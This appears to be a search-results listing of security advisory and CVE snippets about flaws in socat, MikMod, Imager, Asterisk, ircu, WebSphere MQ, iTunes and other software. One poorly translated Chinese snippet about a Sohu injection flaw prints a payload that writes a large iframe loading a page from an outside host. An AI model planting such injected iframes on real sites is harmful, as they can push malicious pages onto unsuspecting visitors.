[SECURITY] Fedora 14 Update: socat-1.7.1.3-1.fc14

Socat is a relay for bidirectional data transfer between two independent da ta channels. Each of these data channels may be a file, pipe, device serial l ine etc. or a pseudo terminal, a socket UNIX, IP4, IP6 - raw, UDP, TCP, an SSL socket, proxy CONNECT connection, a file descriptor stdin etc.,...

Uncovering Covert Command-and-Control Channels

As the line between securely hosted and controlled enterprise applications and cloud-based applications continues to blur, there’s more “legitimate” traffic between corporate networks and the Internet than ever before. This opens up new vectors for attack by hackers and cybercriminals as more...

Sohu 2 0 1 0 show channels exist hung it to the vulnerability 0day-vulnerability warning-the black bar safety net

Together to chat about the show section,not the user input is strict filtering,which leads can be inserted into the malicious code so as to achieve hung it to the object. ! Test code: Copy the code document. write"iframe width='1 0 0 0' height=1 0 0 0' src='http://www.hackqing.cn/mm.htm/iframe";...

Vulnerability showboating is for amateurs

It’s like one of those magic candles people place on birthday cakes that sparkle and relight themselves each time you think they’ve been blown out. That’s how I’d define the most recent ignition of the “bugs for cash” debate. By now you’ll have probably heard that Dino Dai Zovi, Charlie Miller an...

MikMod Module Player Denial of Service Vulnerability - Linux

MikMod Module Player is prone to a Denial of Service vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CVE-2007-6720

libmikmod 3.1.9 through 3.2.0, as used by MikMod, SDL-mixer, and possibly other products, relies on the channel count of the last loaded song, rather than the currently playing song, for certain playback calculations, which allows user-assisted attackers to cause a denial of service application...

Cisco Security Advisory: Cisco ONS Platform Crafted Packet Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco ONS Platform Crafted Packet Vulnerability Advisory ID: cisco-sa-20090114-ons http://www.cisco.com/warp/public/707/cisco-sa-20090114-ons.shtml Revision 1.0 For Public Release 2009 January 14 1600 UTC GMT -...

Moderate: Red Hat Security Advisory: Red Hat Application Stack v1.3 security and enhancement update

Red Hat Application Stack v1.3 is now available. This update fixes a security issue and adds several enhancements. This updated has been rated as having moderate security impact by the Red Hat Security Response Team. The Red Hat Application Stack is an integrated open source application stack, an...

CVE-2008-1928

Buffer overflow in Imager 0.42 through 0.63 allows attackers to cause a denial of service crash via an image based fill in which the number of input channels is different from the number of output channels...

CVE-2008-1928

Buffer overflow in Imager 0.42 through 0.63 allows attackers to cause a denial of service crash via an image based fill in which the number of input channels is different from the number of output channels...

CVE-2008-1928: Improper Restriction of Operations within the Bounds of a Memory Buffer

Buffer overflow in Imager 0.42 through 0.63 allows attackers to cause a denial of service crash via an image based fill in which the number of input channels is different from the number of output channels...

[NEWS] Websphere MQ MCAUSER Setting Bypass Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

CVE-2008-1289: Improper Restriction of Operations within the Bounds of a Memory Buffer

Multiple buffer overflows in Asterisk Open Source 1.4.x before 1.4.18.1 and 1.4.19-rc3, Open Source 1.6.x before 1.6.0-beta6, Business Edition C.x.x before C.1.6.1, AsteriskNOW 1.0.x before 1.0.2, Appliance Developer Kit before 1.4 revision 109386, and s800i 1.1.x before 1.1.0.2 allow remote...

IBM WebSphere MQ Listener Detection

The remote service is an IBM WebSphere MQ Listener, responsible for detecting connections from incoming MQ channels and routing them to a queue manager. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include"compat.inc"; if description scriptid31411;...

Design/Logic Flaw

ircu 2.10.12.02 through 2.10.12.04 allows remote attackers to cause a denial of service memory and bandwidth consumption by creating a large number of unused channels zannels...

CVE-2007-4405

ircu 2.10.12.02 through 2.10.12.04 allows remote attackers to cause a denial of service memory and bandwidth consumption by creating a large number of unused channels zannels...

ESupport Multiple HTML Injection Vulnerabilities

ESupport Multiple HTML Injection Vulnerabilities Kayako SupportSuite offers true integrated Multi-Channel solution allowing you to manage your emails, online issues, chats, self service and issues received by phone. The entire system has been designed to improve productivity and provide seamless...

iTunes remote memory corruption vulnerability

Hi, iTunes for both macosx and win is prone to a remote memory corruption vulnerability when parsing xml. iTunes will parse xml when it contacts a touning server which will return the list of radio channels in that format. To trigger this bug is sufficent to send to iTunes an xml file containing...

CVE-2006-5445: Undefined Security Weakness

Unspecified vulnerability in the SIP channel driver channels/chansip.c in Asterisk 1.2.x before 1.2.13 and 1.4.x before 1.4.0-beta3 allows remote attackers to cause a denial of service resource consumption via unspecified vectors that result in the creation of "a real pvt structure" that uses mor...

CVE-2006-4345: Undefined Security Weakness

Stack-based buffer overflow in channels/chanmgcp.c in MGCP in Asterisk 1.0 through 1.2.10 allows remote attackers to execute arbitrary code via a crafted audit endpoint AUEP response...